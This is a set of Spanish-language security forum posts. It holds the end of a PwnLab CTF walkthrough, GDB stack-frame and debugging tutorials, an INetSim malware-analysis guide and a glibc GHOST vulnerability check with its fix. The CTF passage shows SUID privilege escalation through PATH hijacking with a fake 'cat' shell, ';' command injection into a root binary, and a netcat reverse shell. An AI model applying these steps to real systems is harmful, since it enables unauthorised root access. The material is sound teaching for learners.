
Bien suponiendo que se empaparon en el tema del link que pase y sobre PATH e IFS Exploit, lo que hago es exportar en PATH lo siguiente:

Código: php
kane@pwnlab:~$ export PATH=.
export PATH=.
kane@pwnlab:~$ echo $PATH
echo $PATH
.


Una vez que le pasamos el valor a PATH, procedemos a crear un file llamado CAT, que contendra /bin/sh, mediante el cual al ejecutar ./msgmike, deberiamos escalar privilegios:



Como vemos en la imagen, con whoami verificamos que somos Kane, luego creamos el archivo cat y le damos permisos. Al ejecutar msgmike escalamos privilegios a mike, gracias al SUID.

Continuamos... estamos cerca.

Nos vamos hacia nuestro nuevo /home/mike, y verificamos que tenemos otro file, llamado msg2root.. comprobamos de que se trata:

Código: php
mike@pwnlab:/home/mike$ file msg2root
file msg2root
msg2root: setuid, setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=60bf769f8fbbfd406c047f698b55d2668fae14d3, not stripped


Ok, tenemos otro file con SUID, esta vez de "ROOT". jeje.. Al ejecutarlo, vemos que hace un echo de todo lo que tipeamos:



Al verificar con strings msg2root vemos que lo que hace es lo que esta en evidencia, realiza un stdin y stdout con /bin/echo. Por ende si cortáramos el mensaje, con ";" y escribimos una segunda orden como por ejemplo con el comando "pwd", tendría que funcionar y darnos el path:



Y efectivamente funciono, considerando el bit suid activado, procedo a verificar si esta netcat en el sistema, e intento abrir una nueva shell para escalar privilegios a Root ;D:

(Pantalla desde la shell inveresa en el sistema victima)


(Pantalla desde la terminal atacante el cual corre netcat en el puerto 8000, esperando conexion de la victima)


Tambien podriamos haber realizado un 'cat' desde msg2root hacia /root/flag.txt, era el modo facil, jeje, pero al saber que estaba netcat, fue un plus. De esta manera se finaliza con el CTF. Cualquier duda, simplemente preguntar.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#15
Este es el cuarto paper que escribo sobre como encaminar los conocimientos de assembler, gdb, etc, hasta llegar y ver de lleno explotaciones, caza de bugs, etc. No se queden con este paper porque intento que NO sea un texto de programacion o assembler (es por eso que les pido que no lo muevan a programacion etc, porque careceria de ser un tutorial de programacion, esta orientado a familiarizarse con cosas necesarias para poder meternos de lleno en el reversing y exploting. Escribire un poco de definiciones necesarias y luego un codigo para verlo en la practica via GDB. GNU/Debugger. Los primeros papers los pueden encontrar aca:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta O en mi humilde blog :) No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.



Sin dudas algo fundamental que no se puede pasar por alto es saber como se divide la memoria de un programa compilado, y es algo que voy a tratar de explicar para que se entienda bien, SI NO SE TIENE CLARO ESTO, se va a complicar bastante el recorrido hacia explotar vulnerabilidades o realizar reversing a software. Es como caminar a ciegas.. Tratare de que sea lo menos aburrido posible. Trataré...

La memoria de un programa compilado se divide en 5 segmentos que son fundamentales y cada uno tiene un propósito especial:

Codigo (o texto)
Datos
Bss
Heap
Stack



- Codigo (o texto): Llamada de ambas maneras, en esta seccion no tendremos ningun permiso de escritura. Esto es intencional para asi poder evitar que se modifique el codigo del programa.
Tampoco es el lugar donde se almacenan las variables, por ende lo unico que encontraremos es 'codigo'. Si por alguna razon nosotros intentaramos escribir alli, el programa colgaria, o alertaria de que esta out-of-band y finalizaria. Tambien suele referirse al contenido de esa parte de memoria como 'static values' por lo que explique recien, y como 'global values' ya que esa zona al ser read-only los valores estan disponibles para cualquier parte del programa que lo necesite.

- Datos y Bss: En esta seccion como se ve en la imagen, es donde se almacenan las variables tanto estaticas como globales. Una vez mas si vemos la imagen, en el campo DATOS vemos que se almacenan las variables estaticas y globales 'inicializadas'. Mientras que en Bss, vemos que se encontraran las variables 'no inicializadas'

Heap: (Seguramente hayan leido en algun lado sobre.. 'heap overflow'), en esta seccion de memoria, el programador tiene total permiso de escritura, es usada como memoria dinamica durante la ejecucion del programa para asignar (allocate) o liberar (free) valores que el programa necesite/no necesite. Es llamado dynamic memory por la frecuencia en que puede cambiar su contenido mientras el programa esta corriendo. No posee un tamaño 'fijo'. Por ende la altitud de la pila crecera o decrecera en base a la cantidad de memoria reservada para su uso. El crecimiento del heap es de abajo.. hacia arriba.

Stack (o pila): Esta zona tambien tiene un tamaño dinamico de memoria, se usa como memoria temporal para almacenar variables de funcion locales y argumentos de llamadas a funcion.
Imaginenlo de esta manera, cuando un programa llama a una determinada funcion, esta funcion va a poseer su propio conjunto de variables locales, y el codigo de esta funcion estara en otra posicion de memoria como habiamos explicado anteriormente en Codigo (o Texto).
Como el contexto y el EIP deben cambiar una vez que se invoca a una funcion, se utiliza la stack para recordar todas las variables pasadas, la posicion a la que debe volver el puntero EIP una vez finalice la funcion y todas las variables locales usadas por esa funcion. (Recuerden, EIP es el puntero de instruccion, imaginenlo como el dedo indice de nuestra mano cuando vamos leyendo un libro, y vamos siguiendo la lectura con el dedo para no perdernos..).

La stack, es un conjunto ordenado de elementos que se agregan o se quitan. Las direcciones altas de memorias 'estan ABAJO' y las direcciones bajas de memoria 'estan ARRIBA'.

La cima de la pila, es conocida como TOP OF THE STACK o tope de la pila. Lo interesante que tiene la pila, es que como dijimos es un conjunto donde se agregan o quitan elementos (imaginenlo como un mazo de cartas), y la manera en que los elementos se apilan o desapilan es por: ULTIMO elemento apilado es el PRIMERO en salir. (Conocido en ingles como LIFO, Last In, First Out). Dos de las funciones basicas que veremos seguido sobre la pila, son "push" y "pop", push inserta un nuevo elemento al 'tope' de la pila, y pop hara lo contrario, lo eliminara del tope.




Marcos de Pila, o stack frame (Sacado de Google, editado por mi, me gusto la definicion):
Cuando se invoca a una funcion, se apilan varias cosas juntas, en un marco de pila. En principio el registro "EBP" al cual llamaremos: Puntero de Marco, Frame Point. Se usa para hacer referencia a las variables de funcion local en el marco de pila actual. Cada marco de pila contiene los parametros de la funcion, las variables locales, dos punteros que son necesarios para volver a dejar las cosas como estaban: el puntero de marco anterior (SPF) y la direccion de retorno que se usa para devolver el EIP a la siguiente instruccion despues de la llamada de funcion. Esto restauraria el contexto de funcion del anterior marco de pila...



A continuacion vamos a hacer una practica de esto, adjunto un codigo basico que va a ayudar a entender mejor todo esto, y luego lo analizaremos con GDB.

Código: c
#include <stdio.h>
void SoyUnaFuncion(int a, int b, int c, int d, int e) {
   int variableLocal1; // Se declaran variables LOCALES de esta funcion.
   int variableLocal2;
   variableLocal1 = 99;
   variableLocal2 = 999;
}

int main() {
   SoyUnaFuncion(1,2,3,4,5); // Invocamos a una funcion "SoyUnaFuncion".
}



Se declaran dos funciones, la clasica main() que es donde iniciara el programa, y luego esta llamara a la funcion "SoyUnaFuncion" (que imaginacion la mia eh xD), y se le pasaran 5 argumentos..

Dentro de la funcion 'SoyUnaFuncion' se declaran dos variables locales. Llamadas: variableLocal1, y variableLocal2 (estoy hecho una luz de imaginacion xD), con sus respectivos valores, 99 y 999.
Como habiamos aclarado al principio, en la zona de la STACK/PILA, se almacenaran estas variables locales de funcion.. Vamos a ver esto con atencion desde el debugger.

Compilamos el archivo con el flag -g. Y lo debuggeamos con gdb:



Presten atencion a lo que resalte en amarillo. Se lo llama "Prologo de procedimiento" o en su ingles "Procedure Prologue", estas primeras instrucciones "configuran el Marco de la Pila".
Reservan el puntero de marco en la pila, y reservan memoria de pila para las variables de funcion locales.

Siguiendo con el codigo de la funcion main(), vimos que lo unico que hacia este basico programa era invocar a la funcion "SoyUnaFuncion" y pasarle 5 argumentos -> "SoyUnaFuncion(1,2,3,4,5)". Estos argumentos seran apilados en la pila, y habiamos comentado que la manera de apilar y desapilar era mediante LIFO -last in first out- osea, ultimo entrado, primero salido.
Veamos la parte resaltada ahora como podemos observar estos 5 numeros enteros pasados a la funcion "SoyUnaFuncion":



Luego vemos que al pie del ultimo argumento, hay un "CALL [0x80483ed]", donde empezara nuestra funcion invocada "SoyUnaFuncion".. Luego de ese CALL tenemos la instruccion LEAVE que es la direccion de retorno que EIP seguira una vez que ese CALL finalice.
Bien, aca es donde el contexto cambia, y hay que prestar atencion..

Cuando ese CALL se ejecute, la direccion de regreso sera agregada a la pila y el rumbo de la ejecucion pasara al principio de la funcion "SoyUnaFuncion" como lo muestra la imagen siguiente:




Observamos el prologo nuevamente de instrucciones que crearan el otro Marco de Pila.

Vemos como con el "PUSH ebp", se apila el valor actual que tiene EBP. Se le da el nombre de SFP (Saved Frame Pointer). Puntero de Marco Anterior, y luego se utilizara para devolver a EBP a su estado anterior.

Vemos la siguiente instruccion "MOV ebp, esp" esto copia el contenido del registro ESP a EBP.
De esta manera se creara el nuevo puntero de marco, y referenciara a las 'VARIABLES LOCALES' de la funcion. (recordemos el codigo "variableLocal1, y variableLocal2").

Por ultimo el "sub esp, 0x10" reservara memoria para estas dos variables dichas, restandole 10 a ESP en este caso.

En la imagen vemos claramente las dos variablesLocales que declaramos. Por sino se dieron cuenta 0x63, y 0x3e7, corresponden a 99 y 999. Los valores que les asignamos a las variables, rapidamente con pcalc vemos los valores de cada uno en Decimal - Hex - Binario:



Ahora vamos a poner algunos breakpoints, para que el debugger se detenga y nos muestre con claridad todo esto..



(1) Como vemos, el gdb se detiene donde se lo pedimos.. en el primer breakpoint de la funcion main().
(2) El valor de ESP esta en 0xbffff0d4. Y el valor de EBP esta en 0xbffff0e8 (Recuerden este valor).

Este breakpoint se encuentra antes de crearse el marco de pila para el CALL a la funcion 'SoyUnaFuncion'.

Si continuamos hasta el segundo breakpoint, ya habremos llegado a la segunda funcion, despues del prologo de procedimiento, donde ya se habrá creado el marco de pila..



Bien, para concluir con esto.. paso a explicar la imagen.

(1) El segundo breakpoint nos deja luego de la creacion del marco de pila, justo en el momento que se asigna la variableLocal1 que tiene 99 de valor. Y se mueve a la direccion de memoria [ebp-0x8] y la segunda variable local a [ebp-0x4]. En el punto (3) imprimimos la direccion destino en dos variables, para recordar esas direcciones.

El punto (2) nos muestra info de EBP y ESP. Vemos como la stack esta al tope en [0xbffff0bc].
Tipearemos 'nexti' dos veces para que el breakpoint donde habiamos parado avance dos instrucciones mas que era donde las variablesLocales estaban insertandose en la pila.. Una vez hecho esto Si examinamos esta zona de la pila entenderemos todo mejor..



En el punto (1) al final del marco de la pila vemos los 5 argumentos de la funcion que habiamos pasado, 5,4,3,2,1. En el punto (2) seguido a los argumentos, vemos la direccion 0x8048435, esa es la direccion de retorno, luego del CALL a la funcion!!..



En el punto (3), se encuentra el puntero de marco anterior, que era el EBP en el anterior marco de pila, (les dije que se lo recuerden ese valor mas arriba). En el punto (4) vemos ambas variablesLocales asignadas en la funcion, las cuales tenian valor 99 y 999..en hexa como vimos arriba, 0x63 y 0x3e7 ;D.

Para finalizar, el programar terminara concluyendo su trabajo, y todo el marco se desapilara de la stack.. Pronto el 5to y ya metiendonos cada vez mas a fondo para explotar cosas.. tiempo al tiempo :)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta - c0nfused.
#16
Estos últimos días estuve trabajando en unos análisis de Malware, y sin dudas un software que me ayuda bastante para la etapa Dinámica del análisis es INetSim. (Internet Services Simulation Suite).

Este software lo que hace es simular servicios de internet. Entre otras cosas como se le conocería en términos de ingles: "Faking Network". Muchas veces, cuando se intenta analizar un malware mediante análisis dinámicos, con un poco de experiencia es suficiente para darnos cuenta mediante librerias y funciones que importa o strings que sale a buscar a internet o reportar información, y a veces preferimos realmente estudiar su funcionalidad y su comportamiento de manera controlada y bajo nuestro dominio.

A veces no queremos que el malware realmente salga a internet, o reporte a sus creadores de nosotros, es por eso que en ciertas circunstancias optamos por 'hacer una faking network' y menos ruido con sus creadores.. Una tool excelente es sin dudas InetSim, la cual permite ejecutar el malware y hacerle creer que esta conectandose a el mundo exterior cuando en realidad no hace otra cosa que interactuar con nosotros mismos, o mejor dicho con nuestro amigo inetsim y sus servicios.

Dejare una breve reseña de como funciona, y como puede sernos util, a la hora de realizar como dije un analisis dinamico de malware.
Mi red para esta ocasion esta compuesta de la siguiente manera, 2 SO's:

A - 192.168.0.102 -> PC Linux con Debian/Ubuntu donde estara corriendo el InetSim.
B - 192.168.0.107 -> VMWARE corriendo un Windows XP.. (Nuestro entorno con malware). Este es un entorno controlado, y el malware a ejecutar no es realmente maligno, es solo para simularlo, así que asegurense de tener un entorno controlado y seguro siempre que hagan pruebas.

> Instalando INetSim (Linux):

# Para usuarios Debian/Ubuntu Linux: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
# Para el resto de mortales:  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez instalado, usarlo es demasiado facil. Pero antes hay que revisar y editar algunas cosas de configuracion. Ustedes luego podran editar e ir metiendo mano y modificar a su gusto sin romper nada. Iniciar mas o menos servicios, etc. Pero en este caso edito estas lineas para la prueba:

Código: bash
$> sudo nano /etc/default/inetsim


Buscamos la siguiente linea y ponemos el ENABLED en '1', salvamos el cambio y salimos:
# Whether or not to run the internet simulation suite; set to 0 to disable.
ENABLED=1

Lo siguiente sera ir al archivo de configuracion:

Código: bash
$> sudo nano /etc/inetsim/inetsim.conf


Buscamos la siguiente linea, la descomentamos y asignamos la IP del Linux donde corre InetSim, mi caso era la siguiente IP:
service_bind_address    192.168.0.102

Luego buscamos la siguiente linea y si bien dice 127.0.0.1, que seria la del linux mismo, descomentamos y editamos por la IP que tiene asignada:
dns_default_ip          192.168.0.102

Con esto ya podria funcionar tranquilamente para la prueba.
Lo iniciamos:

Código: bash
$> sudo /etc/init.d/inetsim start


Abrimos otra terminal, verificamos con nmap que esto es asi..

Código: bash
$> nmap 192.168.0.102 -vv


Y como resultado se darán cuenta si todo funciona bien que ya tenemos como 20 puertos y servicios abiertos corriendo :O.. no se asusten, solo 'simulan' muy bien serlo ;).

Nos dirigimos ahora a la maquina virtual que corre Windows XP y antes de 'ejecutar el malware' editamos su configuracion de red, para que apunte a nuestra ip con inetsim. Le decimos que su gateway a internet vamos a ser Nosotros (inetsim) y que su DNS por ende tambien :).



Una vez que configuramos esto, optamos por ejecutar el malware.. y veremos que pasa. Los reportes que genera inetsim se guardan en /var/log/inetsim/report.

Una vez que se ejecuta el malware luego de pasado unos minutos, detenemos el inetsim y vemos el reporte que nos genero. En mi caso quedo algo así:



1) Vemos como en el primer recuadro de la imagen, se realiza una consulta DNS bastante rara..
"No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"...

2) En el segundo resaltado vemos como dos minutos después realiza una petición via HTTP GET para descargar de un dominio bastante raro "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta". ¿que sera? ;p

3) Y en el 3 resaltado, vemos como realiza una similar petición pero ahora baja una librería llamada ashid.dll.

Como ultimo comentario, me gustaría resaltar como ven en la imagen el InetSim "responde" ante la petición del malware (GET) y le envía un 'fake file'.

Esto es demasiado útil, ya que supongamos si un Malware que estamos analizando del cual no tenemos mucho conocimiento de su comportamiento sale a internet a buscar algún tipo de archivo ya sea un .exe o .dll o cualquier otro, y no lo logra, posiblemente el malware quede inoperativo, o quizás no demuestre mas comportamientos hasta que su tarea de bajar otro archivo le permita poder completar todos los pasos de su infección y explotación. (No siempre tiene que ser asi, hay malwares realmente sofisticados pero sin dudas que es de una gran utilidad..).

Espero sea útil, personalmente, cumple un rol fundamental como tool en mis primeras etapas de análisis dinámico de malware en mis trabajos.

Saludos.
#17

Bueno, me ha sorprendido no encontrar nada con el buscador del foro sobre esta vulnerabilidad, si se trata de un error y trataron ya este tema, pido disculpas, y borren el tema. Estaba en dudas si ponerlo en seguridad o hacking, pero como es algo temprana la vulnerabilidad 'publicamente', y hay tantos sistemas vulnerables por ahi, lo considere correcto aca.

Sin dudas una de las noticias de estos dias es el descubrimiento de la vulnerabilidad CVE-2015-0235.
Afecta a la libreria "glibc". La gente de Qualys descubrio un interesante desbordamiento de buffer en una funcion de glibc llamada "the_nss_hostname_digits_dots()". Se puede tomar ventaja remotamente de esta vulnerabilidad desde la funcion gethostbyname() de glibc.

Al parecer de glibc-2.17 a glibc-2.18 se encuentra parcheado. De hecho lo estaban desde el 2013 pero no se considero de mayor prioridad y se paso por alto en muchos desarrolladores, por ende los modulos de ciertas distribuciones siguen siendo aun vulnerables.

Algunas app conocidas que dependen de esta libreria son Apache, GnuPG, OpenSSH, entre otras.

A continuacion adjunto un PoC hecho por vpetkov, para que puedan testear la vulnerabilidad localmente.  Primero dense una idea de que libreria tienen instalada con el siguiente comando, desde mi debian/ubuntu (sistemas derivados de estos):

$> ldd --version

Desde Redhat y CentOS:

$> rpm -q glibc

El PoC para verificar si es vulnerable o no el sistema, peguenlo en un editor de texto, guardenlo con como ghost.c y luego lo deben compilar con gcc de la siguiente manera

$> gcc ghost.c -o ghost (compilan)

$> chmod +x ghost (le dan permisos de ejecucion).

$> ./ghost (ejecutan)



Código: c
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}



Si es vulnerable, saldria "vulnerable" je je.
Sino, lo contrario.

Para fixear esto desde Debian/Ubuntu vamos a enfocar solamente en actualizar la libc.

$> apt-get update
$> apt-get install --only-upgrade libc6 -y


(Reiniciemos, y luego volver a verificar con el PoC si sigue siendo vulnerable).
El resto de distribuciones, favor de verificar y tratar de actualizar el modulo a la ultima version, y no seria mala idea el kernel tambien.

Mas informacion detallada directo desde Qualys Community:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#18
Bugs y Exploits / # How to exploit: Comienzos..
Enero 16, 2015, 07:43:22 PM
Buenas antes que nada, queria aclarar que estos 3 papers que puse todo en uno son papers de autoria propia y enfocados a exploiting desde un entorno Linux, da igual para Windows a excepción de algunas herramientas obviamente.

Tengo usuario aca hace mucho tiempo y solo entro a leer pero decidi aportar esto que lo escribi hace un tiempo sinceramente pero debe tener el mismo valor de conocimientos que en su momento.. seguramente siga con el 4to paper en mis ratos libres para escribir, espero que sea de utilidad.

Son 3 posteos en 1 solo, ya que fui sacando por partes, es una introduccion a gdb desde linux.. una base para ir escalando y meternos en el exploiting. Es bueno ser autodidacta y sino entienden algo no quedarse con respuestas de un solo lugar, sino usar google e ir por mil lugares buscandolas.




#How to Exploit.
Me enfocare desde mi entorno Linux, pero es viable para Windows también, salvo excepciones de algunas herramientas, la esencia es la misma.

¿Requisitos?.
Simplemente tener conocimientos basicos de programación.. compiladores, arquitectura, todo lo que nos rodea y usamos habitualmente, y en otros casos lo usamos pero no tenemos idea que lo hacemos.. Un requisito mas podria ser el saber y querer entender 'el porque de las cosas', no tirar un exploit a lo scriptkiddie. De todas maneras intentare enfocarme y detallar lo maximo que pueda. Para el resto, Google. Usare muchas herramientas como GDB, Objdump, IDA, GCC, Python,etc, etc..

#Primero, lo aburrido, pero necesario para entender.
Vamos a familiarizarnos un poco con el código fuente, compilar, desensamblar, algunas herramientas que ayudan este proceso y todas esas cosas.
Para empezar tenemos preparado para esta prueba un pequeño codigo fuente  "analizaMe",
esta codeado en C, y es de lo mas básico, pero me ayudara a explicarlo de manera rápida.. asi que deberíamos compilarlo. ¿Compilar?.

Suponiendo que si llegan hasta acá, siguieron al pie los requisitos de tener conocimientos basicos de programación, assembler, etc..  no sera muy difícil entender lo que refresco por encima a continuacion. Para comprender realmente el significado de Compilar, tenemos que movernos al origen de los procesadores, pero resaltaremos lo importante, el procesador x86.
Intel desarrollo la cpu 8086 que fue el primer procesador x86.. luego creo otros mas avanzados como el 386, 486.. etc.. El procesador x86 que se refiere a los anteriormente mencionados, posee varios registros que son como las 'variables' internas para dicho procesador. Algunos de estos registros son los conocidos 'EAX,ECX,EDX,EBX', son registros usados para varios fines, entre ellos como contadores o acumuladores.. sirven como variables temporales para el procesador cuando esta ejecutando instrucciones. Hay 4 registros mas a resaltar que son 'EBP, ESP, ESI y EDI'.
Estos registros llevan el nombre de EBP puntero base, ESP puntero de pila, ESI indice de origen y EDI indice destino. El puntero EIP, es el puntero de instruccion, es quien nos ayuda y nos señala a la instruccion que el procesador esta leyendo en ese preciso momento.

Bueno, como sabrán con el código fuente no vamos a poder hacer nada, hasta el momento en el que lo compilamos y lo convertimos en un archivo ejecutable.
Let's Go!

El programa analizaMe:

Código: c
#include <stdio.h>
int main() {
  int contar;
  for(contar=0; contar < 5; contar++)
  {
    printf("La variable contar vale: %i \n", contar);
  }
}


Bien, lo primero sera explicar un poco este código, y luego compilarlo.
Básicamente y de manera rápida, este programa lo que hace es mostrar en pantalla un mensaje y el valor de la variable 'contar'. Mientras sea la variable menor de 5 el mensaje sera mostrado via la funcion 'printf'. Cuando llega a 5, el programa finaliza. Analicémoslo mas en detalle..
(cada vez que vean $> es la manera de decirles que son comandos a tipear en la shell)

Vamos a compilarlo con GCC (es el GNU Compiler Collection), la función de los compiladores basicamente es la de convertir el código fuente en lenguaje maquina, la manera en la que entienden los procesadores.

$> gcc analizaMe.c -o analizaMe
$> chmod +x
$> ./analizaMe


Invocamos al compilador y le decimos que nos compile el codigo fuente en c. El resultado es un nuevo archivo llamado analizaMe. Le damos permisos de ejecución. Y luego lo ejecutamos..
El resultado es el siguiente:

La variable contar vale: 0
La variable contar vale: 1
La variable contar vale: 2
La variable contar vale: 3
La variable contar vale: 4

Ok, vemos el resultado del programa, pero veamos que es lo que no esta a simple vista, como es que funciona este programa realmente..

Invocamos en la shell, a ojbdump, es una gran utilidad para desensamblar facilmente binarios compilados.

$> objdump -D analizaMe -M intel |grep -A15 main.:

(Le decimos a objdump que (-D) desensamble el binario 'analizaMe', (-M intel) que nos muestre el resultado con la sintaxis Intel ya que es mas prolija y acostumbrado que la de AT&T (por default objdump nos arroja esta ultima por eso es que forzamos a que nos muestre con la de Intel)).. (grep -A15 main.:) invocamos a 'grep' y aplicamos una expresión regular para que nos muestre solo las primeras 15 lineas de la funciona principal, main.
Podríamos no limitar a 15, pero arrojaría muchas lineas innecesaria para este momento.
Y hasta acá esta primera parte de introducción..

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

---------------------------------------------------------------------------------------------------------------------

#How to exploit 2: Un poco de Assembler y GNU Debugger.




Traje esta segunda parte que escribí, nose si tienen sugerencias positivas o negativas, cualquiera me serviría. Saludos.

Retomando con el paper anterior, y nuestro código de ejemplo, vamos a repasar un poco sobre Assembler y GNU Debugger durante esta segunda parte. Veremos por 'encima' el tema de assembler ya que mi interés no es un tutorial de este, sino repasarlo para introducirlo con el Debugger.

Para invocar al GDB
Utilizaremos el crudo y puro gdb desde la linea de comandos con sintaxis INTEL.
Para configurar GDB con sintaxis INTEL, vamos a hacer lo siguiente:

$> sudo gedit /etc/gdb/gdbint

Y luego pegamos al final la siguiente linea y guardamos el archivo:

set disassembly-flavor intel

La sintaxis de intel nos mostrara las operaciones de esta manera en gdb:

instrucciones "[destino],[origen]"
Por ejemplo: "mov ebx, eax"

En este ejemplo el valor del registro 'eax', sera movido al registro 'ebx'.
Recordar que las operaciones del origen y destino pueden ser un valor,
una dirección de memoria, o un registro como en este caso.

Operaciones comunes que veremos en assembler para refrescar memoria:

MOV: Mueve contenido
INC: Incrementa de a 1 el valor
DEC: Resta de a 1 el valor
ADD: Suma 
SUB: Resta
CMP: Compara dos registros o un registro y dirección de memoria.
JMP/JNE etc: Todos los que empiecen con J.. son saltos condicionales e incondicionales.
Hay mas pero como dije, son los básicos y el paper no esta orientado a un manual de assembler.


# GDB

El debugger es una herramienta que nos permite ejecutar programas y analizarlos. Ya sea para localizar errores o entender un poco mas a fondo que es lo que hace una determinada aplicación.

GDB dispone de un comando muy particular y uno de los mas útiles a la hora de verificar la memoria.
Este comando se llama 'examine' y como su nombre indica, nos sirve para examinar la memoria.
GDB puede examinar detenidamente cada aspecto de la ejecución de un programa, ejecutarlo, detenerlo, verificar los registros, direcciones de memoria, lo que se nos ocurra.
(Lo practico de GDB también es que la mayoría de los comandos se pueden 'abreviar', por ejemplo examine se puede acortar a una simple 'x' y este se reconoce como un comando)

El comando examine, tiene varias maneras de arrojar la información que requerimos ver en una determinada dirección de memoria. Podemos especificar el formato en el que se muestra usando alguna de las siguiente abreviaturas:

x = Muestra el resultado en Hexadecimal
u = Muestra el resultado en Decimal.
o = Muestra el resultado en Octal.
t = Muestra el resultado en Binario.

Veamos un ejemplo con nuestro pequeño programa del paper anterior que adjunto nuevamente:


Código: c
#include <stdio.h>
int main() {
  int contar;
  for(contar=0; contar < 5; contar++)
  {
    printf("La variable contar vale: %i \n", contar);
  }
}



    $> gdb -q ./analizaMe
    De esta manera le pasamos a gdb el binario a debugguear.

    (gdb) break main
    Punto de interrupción 1 at 0x804840f (en mi caso esto nos responde gdb al poner un break)

    Le decimos que genere un breakpoint en la función principal "main". Un breakpoint no hace otra cosa que poner una barrera una vez que se ejecuta el programa, le dice al gdb que cuando llegue a nuestro breakpoint el programa se parara obligatoriamente ahi en ese break. Podemos poner varios break, de momento solo haremos uno en la función main.

    (gdb) run
    Breakpoint 1, 0x0804840f in main () (esto nos responde el gdb al encontrar el break que seteamos)

    Corremos el programa desde el debugger con run o también con una simple 'r' y va a parar en el primer breakpoint que seteamos en la función "main"

    (gdb) info register

    eax            0x1    1
    ecx            0xbffff344    -1073745084
    edx            0xbffff2d4    -1073745196
    ebx            0xb7fc1000    -1208217600
    esp            0xbffff2a8    0xbffff2a8
    ebp            0xbffff2a8    0xbffff2a8
    esi            0x0    0
    edi            0x0    0
    eip            0x804840f    0x804840f <main+3>
    eflags         0x246    [ PF ZF IF ]
    cs             0x73    115
    ss             0x7b    123
    ds             0x7b    123
    es             0x7b    123
    fs             0x0    0
    gs             0x33    51

    Este comando "info register" nos permite ver el estado actual de los registros.
    Como ven obtenemos un status de todos los registros de ese preciso momento.

    (gdb) info register eip
    eip            0x804840f    0x804840f <main+3> (respuesta del gdb)

    Podemos filtrar a algún registro en particular escribiéndolo al lado como en el ejemplo 'eip'.
    Además, como les conté antes podemos 'abreviar' este comando asi: "i r eip"
    Vemos como EIP contiene el valor 0x804840f.

    (gdb) x/x $eip
    0x804840f <main+3>:    0x83f0e483 (ahora examinamos la memoria a la que esta señalando el registro EIP usando la dirección almacenada en EIP). Vemos que donde arriba EIP contenia '0x804840f', examinamos este registro y contiene lo siguiente: 0x83f0e483.

    De esa manera usamos el 'examine' abreviado con la primer 'x', luego le decimos que nos arroje la info en hexadecimal con la segunda 'x'. Y el registro 'eip'. Fíjense que en este caso hay que poner el registro luego de un $. A diferencia de el info register que no lo anteponíamos.

    También se puede anteponer un numero al formato del comando examine, para examinar varias unidades en esas direcciones objetivos que tengamos. Por ejemplo:

    (gdb) x/4x $eip
    0x804840f <main+3>:    0x83f0e483    0x44c720ec    0x00001c24    0x19eb0000

    Las unidades tienen un tamaño predeterminado de 4 bytes. Conocidas como WORD.
    De la misma manera que podemos cambiar el formato que nos arroja el resultado con 'examine' ya sea en hexadecimal, octal, binario o decimal, tambien podemos cambiar el tamaño de las unidades que estamos examinando, agregandole una letra de tamaño al final de la de formato y estos son:

    b: byte
    h: half-word (2 bytes)
    w: word (4 bytes)
    g: giant o qword (8 bytes)


    Veamos un ejemplo practico:

    1)(gdb) x/4xb $eip
    0x804840f <main+3>:    0x83    0xe4    0xf0    0x83

    2)(gdb) x/4xh $eip
    0x804840f <main+3>:    0xe483    0x83f0    0x20ec    0x44c7

    3) (gdb) x/4xw $eip
    0x804840f <main+3>:    0x83f0e483    0x44c720ec    0x00001c24    0x19eb0000

    4) (gdb) x/4xg $eip
    0x804840f <main+3>:    0x44c720ec83f0e483    0x19eb000000001c24
    0x804841f <main+19>:    0x042444891c24448b    0xe8080484e82404c7

    1- Como vemos en el ejemplo uno, le decimos a gdb que nos examine el registro $eip, y nos arroje en 4 unidades, en hexadecimal, y en tamaño byte.
    2- En el segundo de la misma manera pero ya con 2 bytes.
    3- Igual pero con 4 bytes.
    4- Por ultimo igual, pero con 8 bytes.

    #Resumen de este paper:

    Ya sabemos, compilar un código fuente, gcc analizaMe.c.
    Sabemos invocar el gdb y pasarle un binario para debuggearlo: gdb -q ./analizaMe
    Sabemos que para poner un breakpoint y que se detenga el programa invocamos el comando 'break' + nombre de la función, o dirección en memoria donde queremos que pare.
    Sabemos que una vez que para en el breakpoint, podemos verificar el status de los registros mediante 'info register' o alguno en particular como en nuestro caso anterior 'info register eip'.
    Sabemos que la herramienta 'examine' nos permite verificar todas la memoria, direcciones y valores que se nos ocurra y arrojar el resultado de la manera que mas cómoda nos parezca, como en el ejemplo de 'x/x $eip' para ver el valor que contiene el registro EIP en ese momento y que nos arroje el resultado en hexadecimal.
    Sabemos como mostrar por unidades como "x/2x"
    Sabemos como mostrar examine en tamaño de unidades b,h,w,g (byte, 2bytes,4bytes, 8bytes).[/left][/li]


De momento dejamos acá esta segunda parte, y ya pronto escribo la tercera.
c0nfused.


---------------------------------------------------------------------------------------------------------------------

Vamos a retomar con este tercer paper, y analizar lo que hace nuestro humilde programa codeado en C.

